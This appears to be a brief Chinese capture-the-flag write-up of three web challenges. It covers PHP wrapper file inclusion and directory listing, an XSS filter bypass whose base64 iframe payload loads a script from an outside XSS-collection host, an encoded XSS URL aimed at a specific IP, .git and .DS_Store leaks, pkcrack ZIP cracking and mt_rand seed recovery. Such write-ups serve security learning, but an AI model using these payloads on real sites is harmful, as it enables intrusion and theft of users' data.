web1
进入首页发现include $_GET[‘file’]
在底部发现提示
用php伪协议读出源码
base64解密后为1
2
3
4
5
6<?php
$a = @$_GET['dir'];
if(!$a){
$a = '/tmp';
}
var_dump(scandir($a));
目录穿越发现flag
回到首页读取flag
web2
xss,发现script被过滤了
利用iframe标签加data base64编码绕过
payload:1
<iframe src="data:text/html;base64,PHNjcmlwdCBzcmM9Imh0dHBzOi8veHNzcHQuY29tL3lIUXFIOCI+PC9zY3JpcHQ+"></iframe>
1 | PHNjcmlwdCBzcmM9Imh0dHBzOi8veHNzcHQuY29tL3lIUXFIOCI+PC9zY3JpcHQ+就是 |
web3
首先发现.DS_Store泄露
还有一种解法是访问(url编码绕过)
http://61.164.47.198:10002/?name=%253Cscript%253Econsole.log%2528Number.MAX_SAFE_INTEGER%2529%253C/script%253E
The Number.MAX_SAFE_INTEGER constant represents the maximum safe integer in JavaScript
接着发现.git泄露
还原以后发现对比crc32是明文攻击(Advanced Archive Password Recovery没跑出来)
然后学习了下pkcrack
当跑出三个key的时候就可以利用zipdecrypt去攻击了
查看hint
浏览器拿到code
考点为php伪随机数攻击
利用php_mt_seed工具